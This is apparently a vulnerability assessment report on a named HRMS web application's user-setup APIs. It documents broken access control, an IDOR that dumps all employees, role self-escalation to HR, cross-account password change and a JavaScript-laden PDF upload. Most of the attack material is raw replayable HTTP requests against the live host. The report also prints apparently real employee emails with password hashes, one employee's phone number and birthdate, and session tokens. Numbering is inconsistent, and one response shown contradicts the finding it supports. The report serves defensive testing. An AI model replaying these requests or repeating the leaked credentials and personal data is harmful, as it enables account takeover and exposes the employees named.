

Vulnerability Assessment Report: User Setup Module

Part I: Executive Summary

Application Scope: NHLML HRMS — User Setup Module API layer.

Target URL: <http://hrms.tubasmartoffice.in/hrms-nhml/#/hrms/user-setup>

Assessment Focus: API-level access control and input handling. Testing was conducted using EMP-00014, a user with no assigned User Setup access.

Key Discovery: The frontend correctly restricts User Setup navigation for unauthorized users, however the backing APIs perform no server-side authorization. Any authenticated user with a valid session token can bypass the UI and call these endpoints directly.

Vulnerability Statistics

Severity	Count
Critical	2
High	2
Medium	1
Low	1

Part II: Detailed Findings

1. Broken Access Control Across User Setup APIs

Severity: Critical

The following endpoints return HTTP 200 for EMP-00014 where 401/403 was expected:

get-user-details, get-company-users, customization-details-by-code, getPeopleAttachment, custom-column-details, search-user-by-email, search-user-by-empld, get-user, getLeaveFolderRSN, getleave, grouped-customization-details, get-user-address, get-user-personal-details, search-employee-folder, insert-update-customization-details, validate-path.

None of these endpoints check the calling user's role or permissions. The UI hiding these pages is the only control in place, which is trivially bypassed by calling the API directly.

6. Intruder attack of get-user-details API

Results Positions

Capture filter: Capturing all items

View filter: Showing all items

Request	Payload	Status code	Response received	Length		"emailAddress":["(.*?)","licenceNu...	"peopleRSN"["...	"referenceFile...	"internetPassword":"
45	1394	200	14	2195	255+	"sid0058@csii.in"	1394	CSII0058	AX\$eOPgRhSFJtle659q+2i4
156	1505	200	25	2195	255+	"ratnadeep.kasabe@nhlmLorg"	1505	EMP-00043	AJ\$VLYl1cgsvmXfAJRDSrZz
135	1484	200	18	2193	255+	"cs-nhlm@nhlmLorg"	1484	EMP-00033	AX\$ENBqezV/pTR6TRBBm
131	1480	200	21	2192	255+	"srivastavaattu08@gmail.com"	1480	EMP-00025	AL\$aiJExrlQKnu9/dxYjW7/Q:
146	1495	200	18	2190	255+	"dhirendra.singh@nhlmLorg"	1495	EMP-00024	AV\$C/b72XK45R2kP9ySwW
163	1512	200	43	2185	255+	"navanita@nhlmLorg"	1512	EMP-00018	AD\$bvzi3xbt2bbULS8Tfs2Yv
161	1510	200	69	2183	255+	"pardeep.kumar@nhlmLorg"	1510	EMP-00056	AR\$AJWgnr9/nZZvXi6hglYc
164	1513	200	19	2181	255+	"ashish.gupta@nhlmLorg"	1513	EMP-00032	AJ\$N4HPjdo3RkcoTcf0WIEx
166	1515	200	35	2180	255+	"nikita@nhlmLin"	1515	EMP-00054	AR\$EL3HgzdhqRx3ABGHI
162	1511	200	47	2179	255+	"vikas.malik@nhlmLorg"	1511	EMP-00017	AJ\$Jmn4v9XH+3vg1WKyDhj
151	1500	200	15	2176	255+	"aditya.rana@nhlmLorg"	1500	EMP-00038	AQ\$IPnnpYa25+5X4Qs/ZfjCl
168	1517	200	52	2170	255+	"ncrites@rediffmail.com"	1517	ADV-30001	AQ\$svVQVjWgQt0y4VHHEalv
126	1475	200	14	2165	255+	"vikas.verma@nhlmLorg"	1475	EMP-00007	AQ\$P5VwJc+Ihaissi8rEgbwB
122	1471	200	16	2163	255+	"sanjeev.patil@nhlmLorg"	1471	EMP-00009	AL\$MADamV2IOeEKg3GJfH
160	1509	200	50	2158	255+	"mona.rajgadga@nhlmLorg"	1509	EMP-00052	AF\$HHF1FvowR6mJiXGGYZ
128	1477	200	21	2156	255+	"spsomashekar@nhlmLorg"	1477	EMP-00030	AD\$szlm4Tex9boVikvMPRpA
165	1514	200	28	2154	255+	"ankita.jain@nhlmLorg"	1514	EMP-00049	AN\$SEZBAcIenVIGecARuM+
149	1498	200	15	2151	255+	"mayank.singh@nhlmLorg"	1498	EMP-00035	AQ\$FniWHH7JlJgVlelODnhb
138	1487	200	20	2144	255+	"neeraj.yadav@nhlmLorg"	1487	EMP-00055	AC\$lgNvRGIZ6w0O3JzqJvx3
133	1482	200	23	2139	255+	"prashant.jain@nhlmLorg"	1482	EMP-00008	AC\$3o0UdriOISv8NvaYRLhsT
148	1497	200	60	2134	255+	"rajesh.verma@nhlmLorg"	1497	EMP-00028	AC\$DuOJbJdQnAZdBIMtqz7
144	1493	200	50	2133	255+	"gaurangarg@nhlmLorg"	1493	EMP-00013	AQ\$uUn+NsJlJgZMSMj3HR
0	200	200	44	2132	255+	"ritu.nanda@nhlmLorg"	1494	EMP-00014	AQ\$DIdaMbbWUVvEsvdZe9
145	1494	200	15	2132	255+	"ritu.nanda@nhlmLorg"	1494	EMP-00014	AQ\$DIdaMbbWUVvEsvdZe9
127	1476	200	26	2131	255+	"amol.birajdar@nhlmLorg"	1476	EMP-00005	AE\$KXNSmW7CLLaZjM32K
129	1478	200	20	2128	255+	"ravindra.gupta@nhlmLorg"	1478	EMP-00047	AH\$SMENLwGNLubkf0JdCY
171	1520	200	13	2127	255+	"harish.gandhi@nhlmLorg"	1520	ADV-30003	AG\$5r+JW5b+TjzRbPVzPfgb
152	1501	200	26	2126	255+	"narendar.kumar@nhlmLorg"	1501	EMP-00039	AI\$RyI6AuOADH+PUKJEbC
173	1522	200	14	2122	255+	"as.bindra@nhlmLorg"	1522	ADV-30006	AI\$sgsfHcYukyOpshtr3Uaw
136	1485	200	10	2121	255+	"abhishekagrawal@nhai.org"	1485	DEP-40001	AH\$TdSWrw4P2dHT1b+37q;
147	1486	200	24	2119	255+	"...	1486	EMP-00036	AM\$IDM7G6L6006IF

Request

```
1 GET /hrms-new/api/hrms-api/master/get-user-details/1394 HTTP/1.1
2 Host: hrms.tubasmartoffice.in
3 Iid: y4PtisHur9QNS467pLQ2CBPhTI9AOpJE9sbBgmDKnIO8ie
4 system: NHML
5 Accept-Language: en-US,en;q=0.9
6 Accept: application/json, text/plain, */*
7 Content-Type: application/json
8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
9 Referer: http://hrms.tubasmartoffice.in/hrms-nhml/
0 Accept-Encoding: gzip, deflate, br
```

Response

```
1 HTTP/1.1 200
2 Server: nginx/1.25.3
3 Date: Thu, 21 May 2026 07:15:10 GMT
4 Content-Type: application/json
5 Connection: keep-alive
6 Vary: Origin
7 Vary: Access-Control-Request-Method
8 Vary: Access-Control-Request-Headers
9 Referrer-Policy: origin
10 Content-Length: 1927
11
```

Impact: A least-privilege employee can read personal details, addresses, contact information, role assignments, and leave records for every employee in the company.

Fix: Implement a server-side permission interceptor that validates the caller's role before the request reaches any controller. Since these APIs are modular, placing the check in the middleware layer leaves all legitimate callers unaffected.

2. Mass Data Exposure and Cross-Tenant IDOR via get-company-users

Severity: High

get-company-users accepts a client-controlled pageSize. When sent as 99999 it dumps the full employee roster in one response, including hashed passwords. The endpoint also accepts companyRSN from the request body, allowing an attacker to substitute another company's RSN and retrieve their employee data.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre> 1 POST /hrms-new/api/hrms-api/user/get-company-users/1494 HTTP/1.1 2 Host: hrms.tubasmartoffice.in 3 Content-Length: 167 4 lid: y4PtisHUr9OWS467pLQ2CBPhTl9AQpJE9sbBgmDknIO8ie 5 system: NHML 6 Accept-Language: en-US,en;q=0.9 7 Accept: application/json, text/plain, */* 8 Content-Type: application/json 9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 10 Origin: http://hrms.tubasmartoffice.in 11 Referer: http://hrms.tubasmartoffice.in/hrms-nhml/ 12 Accept-Encoding: gzip, deflate, br 13 Connection: keep-alive 14 15 { "page":null, "pageSize":99999, "data":[38489], "searchText":null, "access":null, "designation":null, "businessUnit":null, "empName":null, "fatherName":null, "department":null } </pre>				<pre> 1 HTTP/1.1 200 2 Server: nginx/1.25.3 3 Date: Thu, 21 May 2026 09:06:27 GMT 4 Content-Type: application/json 5 Connection: keep-alive 6 Vary: Origin 7 Vary: Access-Control-Request-Method 8 Vary: Access-Control-Request-Headers 9 Access-Control-Allow-Origin: * 10 Referrer-Policy: origin 11 Content-Length: 157851 12 13 { "success":true, "error":null, "errors":null, "data":{ { "people":{ "addrCity":null, "addrCountry":null, "addrCountyCode":null, "addressLine1":",", "addressLine2":null, "addressLine3":null, "addressLine4":null, "addressLine5":null, "addressLine6":null, "addrPostal":null, "addrPrefix":null, "addrProvince":null, "addrStreet":null, "addrStreetDirection":null, "addrStreetPrefix":null, "addrStreetType":null, "addrUnit":null, "addrUnitType":null, "emailAddress":"amol.birajdar@nhml.org", "licenceNumber":null, "nameFirst":"Amol", "nameMiddle":",", "nameLast":"Birajdar", "nameTitle":null, "nameSuffix":null, "organizationName":null, "peopleCode":530, "peopleDesc":"Bug Tracker User" } } } } </pre>			

Impact: Full employee data exfiltration including credential hashes. Cross-tenant data access possible by modifying a single field.

Fix: Permission gate from Finding 1. Strip the password hash from the response DTO at the serialization layer. Derive companyRSN from the session server-side, ignore the client-supplied value.

3. Privilege Escalation via add-update-user

Severity: Critical

The add-update-user endpoint accepts a full user object including role assignments with no access control. During testing EMP-00014's role was successfully changed from EMPLOYEE to HR by calling this endpoint directly.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre> 1 POST /hrms-new/api/hrms-api/user/add-update-user HTTP/1.1 2 Host: hrms.tubasmartoffice.in 3 Content-Length: 1930 4 lid: NMc5dFjm75Trv5IKkNRxLhuxDfwbTW4328TS7IuiiSLrAie 5 system: NHML 6 Accept-Language: en-US,en;q=0.9 7 Accept: application/json, text/plain, */* 8 Content-Type: application/json 9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 10 Origin: http://hrms.tubasmartoffice.in 11 Referer: http://hrms.tubasmartoffice.in/hrms-nhml/ 12 Accept-Encoding: gzip, deflate, br 13 Connection: keep-alive 14 15 { "people":{ "addrCity":null, "addrCountry":null, "addrCountyCode":null, "addressLine1":",", "addressLine2":null, "addressLine3":null, "addressLine4":null, "addressLine5":null, "addressLine6":null, "addrPostal":null, "addrPrefix":null, "addrProvince":null, "addrStreet":null, "addrStreetDirection":null, "addrStreetPrefix":null, "addrStreetType":null, "addrUnit":null, "addrUnitType":null, "emailAddress":"ritu.nanda@nhml.org", "licenceNumber":null, "nameFirst":"Ritu", "nameMiddle":",", "nameLast":"Nanda", "nameTitle":null, "nameSuffix":null, "organizationName":"NHML", "peopleCode":530, "peopleDesc":"Bug Tracker User", "subscriptionCode":2, "subscriptionDesc":null, "peopleRSN":1494, "phone1":"9654383089", "phone2":null, "addrHouse":null, "socialSecurityNumber":null, "licenceNumberProvince":null, "phone1Desc":null, "phone2Desc":null, "phone3Desc":null, "phone3":null, "contactSex":null, "sex":"F", "birthDate":"1974-06-16T00:00:00.000Z", "internetRegistrationDate":null, "familyRSN":null, "aliasRSN":null, "parentRSN":null, "nearBy":null, "community":null, "addrCommunityCode":null, "internetQuestion":null, "internetAnswer":null, "internetPassword":"A0q9IdaB0b0MUVEsxdZe/9Xeg==4M6QxLu1i8IQPKvdyXgIriaqNTCYTngZydu8KjJJiIhQ=", "comments":"BUG03", "peopleRoleType":null, "peopleEyeType":null, "peopleHairType":null, "peopleRaceType":null, "height":null, "heightInch":null, "weight":null, "sasFlag":"N", "emailFlag":"Y", "creditCardProcessingFlag":false, "internetAccess":"A", "statusCode":null, "referenceFile":"EMP-00014", "agencyType":null, "internetUserId":null, "subscriptionFromDate":"2022-09-29T18:30:00.000+00:00", "subscriptionToDate":null, "jobTitle":"Deputy Manager", "jobTitle2":null, "licenceFromDate":null, "licenceToDate":null, "driverLicenceState":null, "sourceCode":null, "languageCode":null, "peoplePeopleAddressCode":null, "initials":null, "uniqueField":null, "roles":[{"authorityRSN":38489, "authCode":"NHML", "authName":"NHML", "isIntegrated":null, "id":9848, "role":"HR", "roleRSN":9848}] } } </pre>				<pre> 1 HTTP/1.1 200 2 Server: nginx/1.25.3 3 Date: Fri, 22 May 2026 06:47:25 GMT 4 Content-Type: application/json 5 Connection: keep-alive 6 Vary: Origin 7 Vary: Access-Control-Request-Method 8 Vary: Access-Control-Request-Headers 9 Access-Control-Allow-Origin: * 10 Referrer-Policy: origin 11 Content-Length: 2001 12 13 { "success":true, "error":null, "errors":null, "data":{ "people":{ "addrCity":null, "addrCountry":null, "addrCountyCode":null, "addressLine1":",", "addressLine2":null, "addressLine3":null, "addressLine4":null, "addressLine5":null, "addressLine6":null, "addrPostal":null, "addrPrefix":null, "addrProvince":null, "addrStreet":null, "addrStreetDirection":null, "addrStreetPrefix":null, "addrStreetType":null, "addrUnit":null, "addrUnitType":null, "emailAddress":"ritu.nanda@nhml.org", "licenceNumber":null, "nameFirst":"Ritu", "nameMiddle":",", "nameLast":"Nanda", "nameTitle":null, "nameSuffix":null, "organizationName":"NHML", "peopleCode":530, "peopleDesc":"Bug Tracker User", "subscriptionCode":2, "subscriptionDesc":null, "peopleRSN":1494, "phone1":"9654383089", "phone2":null, "addrHouse":null, "socialSecurityNumber":null, "licenceNumberProvince":null, "phone1Desc":null, "phone2Desc":null, "phone3Desc":null, "phone3":null, "contactSex":null, "sex":"F", "birthDate":"1974-06-16T00:00:00.000Z", "internetRegistrationDate":null, "familyRSN":null, "aliasRSN":null, "parentRSN":null, "nearBy":null, "community":null, "addrCommunityCode":null, "internetQuestion":null, "internetAnswer":null, "internetPassword":"A0q9IdaB0b0MUVEsxdZe/9Xeg==4M6QxLu1i8IQPKvdyXgIriaqNTCYTngZydu8KjJJiIhQ=", "comments":"BUG03", "peopleRoleType":null, "peopleEyeType":null, "peopleHairType":null, "peopleRaceType":null, "height":null, "heightInch":null, "weight":null, "sasFlag":"N", "emailFlag":"Y", "creditCardProcessingFlag":false, "internetAccess":"A", "statusCode":null, "referenceFile":"EMP-00014", "agencyType":null, "internetUserId":null, "subscriptionFromDate":"2022-09-29T18:30:00.000+00:00", "subscriptionToDate":null, "jobTitle":"Deputy Manager", "jobTitle2":null, "licenceFromDate":null, "licenceToDate":null, "driverLicenceState":null, "sourceCode":null, "languageCode":null, "peoplePeopleAddressCode":null, "initials":null, "uniqueField":null, "roles":[{"authorityRSN":38489, "authCode":"NHML", "authName":"NHML", "isIntegrated":null, "id":9848, "role":"HR", "roleRSN":9848}] } } } </pre>			

Impact: Any authenticated user can promote themselves or others to any role in the system, or strip roles from existing users including administrators.

Fix: Require USER_SETUP_WRITE permission via the middleware from Finding 1.

4. Unauthenticated Password Change via changePassword

Severity: High

changePassword accepts a peopleRSN and new password with no ownership check and no requirement for the current password. During testing a password change was successfully applied to a different user's account.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 POST /hrms-new/api/hrms-api/user/changePasword HTTP/1.1 2 Host: hrms.tubasmartoffice.in 3 Content-Length: 44 4 lid: yug5fFvIptdIpbVLBiIltipCADQ8Ywhs2YipbFDv6yipU8u4ie 5 system: NHML 6 Accept-Language: en-US,en;q=0.9 7 Accept: application/json, text/plain, */* 8 Content-Type: application/json 9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 10 Origin: http://hrms.tubasmartoffice.in 11 Referer: http://hrms.tubasmartoffice.in/hrms-nhml/ 12 Accept-Encoding: gzip, deflate, br 13 Connection: keep-alive 14 15 { 16 "peopleRSN":1494, 17 "internetPassword":"test" 18 }</pre>				<pre>1 HTTP/1.1 200 2 Server: nginx/1.25.3 3 Date: Fri, 22 May 2026 06:59:26 GMT 4 Content-Type: application/json 5 Connection: keep-alive 6 Vary: Origin 7 Vary: Access-Control-Request-Method 8 Vary: Access-Control-Request-Headers 9 Access-Control-Allow-Origin: * 10 Referrer-Policy: origin 11 Content-Length: 4 12 13 true</pre>			

Impact: Any authenticated user can change any other user's password, including administrators, without knowing the current one. Combined with Finding 3 this enables full account takeover.

Fix: Validate that the peopleRSN in the request matches the caller's session identity. Require current password for self-service changes.

5. Route Guard Bypass via validate-path

Severity: Medium

The validate-path endpoint, which is meant to block direct URL access to protected pages, returns HTTP 200 for EMP-00014 regardless of the path submitted. The validation logic is not evaluating the caller's permissions against the requested route.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 POST /hrms-new/api/hrms-api/master/validate-path HTTP/1.1 2 Host: hrms.tubasmartoffice.in 3 Content-Length: 79 4 lid: y4PtisHur9CWS467pLQ2CBPhTI9A0pJE9sbBgmdKnIO8ie 5 system: NHML 6 Accept-Language: en-US,en;q=0.9 7 Accept: application/json, text/plain, */* 8 Content-Type: application/json 9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 10 Origin: http://hrms.tubasmartoffice.in 11 Referer: http://hrms.tubasmartoffice.in/hrms-nhml/ 12 Accept-Encoding: gzip, deflate, br 13 Connection: keep-alive 14 15 { 16 "menu":{ 17 "isDirty":false 18 }, 19 "subMenu":[20], 21 "companyRSN":38489, 22 "path":"/bugs/tasks" 23 }</pre>				<pre>1 HTTP/1.1 200 2 Server: nginx/1.25.3 3 Date: Thu, 21 May 2026 10:43:06 GMT 4 Content-Type: application/json 5 Connection: keep-alive 6 Vary: Origin 7 Vary: Access-Control-Request-Method 8 Vary: Access-Control-Request-Headers 9 Access-Control-Allow-Origin: * 10 Referrer-Policy: origin 11 Content-Length: 5 12 13 false</pre>			

Impact: Protected pages are accessible by directly entering their URL, bypassing the only frontend access control layer the application currently relies on.

Fix: Correct the validation logic to return 403 for any path the caller's role does not permit. This fix is in the endpoint's own logic, not middleware.

6. Unsanitized File Upload via uploadAttachment

Severity: Low

The upload endpoint validates by file extension only. A PDF containing an embedded JavaScript OpenAction was successfully stored. Filenames are also accepted from the client without sanitization.

Request	Response
<pre>1 POST /hrms-new/api/api-attachment/attachment/uploadAttachment HTTP/1.1 2 Host: hrms.tubasmartoffice.in 3 Content-Length: 1057 4 lid: xDcpJdcoE9nrDAF1VAZV1frNtKGisIIqE12Pb5k4pDu8ie 5 system: NHML 6 Accept-Language: en-US,en;q=0.9 7 Accept: application/json, text/plain, */* 8 Content-Type: multipart/form-data; boundary=---WebKitFormBoundaryE38lHFpeZ9LHEuxo 9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 10 Origin: http://hrms.tubasmartoffice.in 11 Referer: http://hrms.tubasmartoffice.in/hrms-nhml/ 12 Accept-Encoding: gzip, deflate, br 13 Connection: keep-alive 14 15 -----WebKitFormBoundaryE38lHFpeZ9LHEuxo 16 Content-Disposition: form-data; name="file"; filename="test.pdf" 17 Content-Type: application/pdf 18 19 20 %PDF-1.4 21 1 0 obj 22 << /Type /Catalog /Pages 2 0 R /OpenAction 4 0 R >> 23 endobj 24 2 0 obj 25 << /Type /Pages /Kids [3 0 R] /Count 1 >> 26 endobj 27 3 0 obj 28 << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >> 29 endobj 30 4 0 obj 31 << /Type /Action /S /JavaScript 32 /JS (app.alert\("VAPT_TEST"\);) >> 33 endobj 34 xref 35 0 5 36 0000000000 65535 f 37 0000000009 00000 n 38 0000000058 00000 n 39 0000000115 00000 n 40 0000000206 00000 n 41 trailer 42 << /Size 5 /Root 1 0 R >> 43 startxref 44 300 45 -----WebKitFormBoundaryE38lHFpeZ9LHEuxo 46 Content-Disposition: form-data; name="attachmentCode"</pre>	<pre>1 HTTP/1.1 200 2 Server: nginx/1.25.3 3 Date: Fri, 22 May 2026 10:10:16 GMT 4 Content-Type: application/json 5 Connection: keep-alive 6 Vary: Origin 7 Vary: Access-Control-Request-Method 8 Vary: Access-Control-Request-Headers 9 Access-Control-Allow-Origin: * 10 Referrer-Policy: origin 11 Content-Length: 575 12 13 { "success":true, "error":null, "data":{ "attachmentRSN":4537, "tableName":"Folder", "tableRSN":38599, "attachmentFileSuffix":null, "attachmentDesc":null, "attachmentDetail":null, "attachmentFileAlias":null, "dosPath":null, "linkCode":null, "assignedUser":null, "currentVersionFlag":null, "oldDOSPath":null, "attachmentCode":203, "edmsID":null, "attachmentTypeDesc":null, "attachmentStatusCode":null, "attachmentStatusDesc":null, "stampDate":null, "attachmentBlobSize":null, "indicator":null, "displayOrder":null, "contentType":null, "accessIndicator":null, "peopleRSN":null }, "count":0, "errorStack":null }</pre>

Impact: If the serve endpoint returns files inline, stored PDFs with embedded JavaScript execute in the browser of whoever opens them — most likely an HR user. Unsanitized filenames create a path traversal risk on the server filesystem.

Fix: Serve all files with Content-Disposition: attachment and X-Content-Type-Options: nosniff — this immediately breaks the exploitation chain. Validate file content against magic bytes server-side and strip active content from PDFs before storage.